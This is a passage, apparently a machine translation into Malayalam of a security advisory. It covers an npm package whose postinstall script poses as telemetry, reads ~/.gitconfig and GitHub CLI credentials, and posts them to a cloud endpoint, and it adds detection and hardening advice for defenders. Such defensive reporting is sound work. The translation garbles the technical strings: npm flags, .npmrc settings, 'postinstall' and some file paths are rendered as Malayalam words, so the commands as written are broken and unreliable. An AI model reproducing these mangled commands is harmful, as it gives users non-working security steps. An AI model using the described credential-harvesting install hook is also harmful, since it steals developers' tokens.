ഈ പാക്കേജിംഗിന് ഓട്ടോമേറ്റഡ് ട്രയേജിലും അളക്കാവുന്ന സ്വാധീനമുണ്ട്. പതിപ്പുകളിലുടനീളം ഞങ്ങളുടെ pipeline അവലോകനം ചെയ്തു, ഇൻസ്റ്റാൾ സ്ക്രിപ്റ്റിന്റെ പ്ലെയിൻ-ലാംഗ്വേജ് കമന്റുകൾ, ഘടനാപരമായ ഫീൽഡ് നാമങ്ങൾ, പരമ്പരാഗത ഓപ്റ്റ്-ഔട്ട് ഗേറ്റ് എന്നിവ സാധാരണ ടെലിമെട്രിയായി സ്കോർ ചെയ്തു: എട്ടിൽ ഏഴ് എണ്ണം തിരിച്ചെത്തി. അനിശ്ചിതത്വമുള്ള ML ക്ലാസിഫയറിൽ നിന്ന്, മറിച്ച് ക്ഷുദ്രകരമായ രീതിയിൽ അല്ല. അവ്യക്തത പരിഹരിക്കുന്ന സിഗ്നൽ ഗദ്യത്തിലല്ല — അത് സ്ക്രിപ്റ്റ് തുറക്കുന്ന നിർദ്ദിഷ്ട ഫയലുകളിലാണ് (~/.ജിറ്റ്കോൺഫിഗ്, ~/.config/gh/hosts.yml) കൂടാതെ അത് അയയ്ക്കുന്ന ലക്ഷ്യസ്ഥാനവും. വെളിപ്പെടുത്തൽ വായിച്ച് അവിടെ നിർത്തുന്ന ഒരു അവലോകകൻ, ഓട്ടോമേറ്റഡ് അല്ലെങ്കിൽ മനുഷ്യൻ, തെറ്റായ നിഗമനത്തിലെത്തും; ഡാറ്റാ ഫ്ലോ വസ്തുതകളിൽ നിന്നാണ് ഈ നിർണ്ണയം ഉണ്ടാകേണ്ടത്.
പ്രതിരോധക്കാർക്കുള്ള മാർഗ്ഗനിർദ്ദേശങ്ങൾ:
- ഡിഫോൾട്ടായി സ്ക്രിപ്റ്റുകൾ പ്രവർത്തനരഹിതമാക്കി ഇൻസ്റ്റാൾ ചെയ്യുക — npm ഇൻസ്റ്റാൾ ചെയ്യുക –സ്ക്രിപ്റ്റുകൾ അവഗണിക്കുക, അല്ലെങ്കിൽ സെറ്റ് അവഗണിക്കുക-സ്ക്രിപ്റ്റുകൾ=സത്യം in .എൻപിഎംആർസി പരിശോധിച്ച ബിൽഡ് ഘട്ടങ്ങൾ വ്യക്തമായി പ്രവർത്തിപ്പിക്കുക. ഇത് നിർവീര്യമാക്കുന്നു പോസ്റ്റ്ഇൻസ്റ്റാൾ ചെയ്യുക- ബോർഡിലുടനീളം പ്രവർത്തനക്ഷമമാക്കിയ ശേഖരണം.
- ഓപ്റ്റ്-ഔട്ട് നിയന്ത്രണങ്ങളെ വിശ്വാസ സൂചനകളായി കണക്കാക്കരുത്. എ ട്രാക്ക്_ചെയ്യരുത് ഗേറ്റ് സജ്ജമാക്കിയിട്ടില്ലാത്തപ്പോൾ ഒരു സ്ക്രിപ്റ്റ് ശേഖരിക്കുന്ന ഡാറ്റയെക്കുറിച്ച് ഒരു ചെക്ക് അല്ലെങ്കിൽ "ടെലിമെട്രി പോളിസി" ലിങ്ക് നിങ്ങളോട് ഒന്നും പറയുന്നില്ല.
- AI-ഇക്കോസിസ്റ്റം ഹെൽപ്പർ പാക്കേജുകൾ സ്വീകരിക്കുന്നതിന് മുമ്പ് ഇൻസ്റ്റാൾ ഹുക്ക് വായിക്കുക. വെർസെൽ AI SDK സ്പെയ്സ് അതിവേഗം നീങ്ങുന്ന, ഉയർന്ന വിശ്വാസ്യതയുള്ള ഒരു ലക്ഷ്യമാണ്; a പോസ്റ്റ്ഇൻസ്റ്റാൾ ചെയ്യുക അത് സ്പർശിക്കുന്നു ~/.ജിറ്റ്കോൺഫിഗ് or ~/.config/gh/ ചുറ്റുമുള്ള അഭിപ്രായങ്ങൾ എങ്ങനെ എഴുതിയാലും അത് വ്യക്തമായ ഒരു സൂചനയാണ്.
- ബിൽഡ്-ടൈം എഗ്രസ് നിരീക്ഷിക്കുക. ഒരു ഔട്ട്ബൗണ്ട് HTTPS പോസ്റ്റ് സമയത്ത് npm ഇൻസ്റ്റാളുചെയ്യുക, പ്രത്യേകിച്ച് പുതുതായി നൽകിയ ക്ലൗഡ്-ഫംഗ്ഷൻ എൻഡ്പോയിന്റിന്, നെറ്റ്വർക്ക് ലെയറിൽ നിരീക്ഷിക്കാവുന്നതാണ്, കൂടാതെ CI പരിതസ്ഥിതികൾക്കുള്ള ശക്തമായ ഒരു കണ്ടെത്തൽ പോയിന്റുമാണ്.
- കംപ്രസ്സ് ചെയ്ത പതിപ്പ് ലാഡറുകൾക്കായി ശ്രദ്ധിക്കുക. മാറ്റമില്ലാത്ത ഇൻസ്റ്റാൾ സ്ക്രിപ്റ്റ് ഉപയോഗിച്ച്, മുഴുവൻ സെമാന്റിക്-പതിപ്പ് ചരിത്രവും നിമിഷങ്ങൾക്കുള്ളിൽ ദൃശ്യമാകുന്ന ഒരു പാക്കേജ്, ഒരു നിർമ്മിച്ച അറ്റകുറ്റപ്പണി ചരിത്രം അവതരിപ്പിക്കുന്നു.
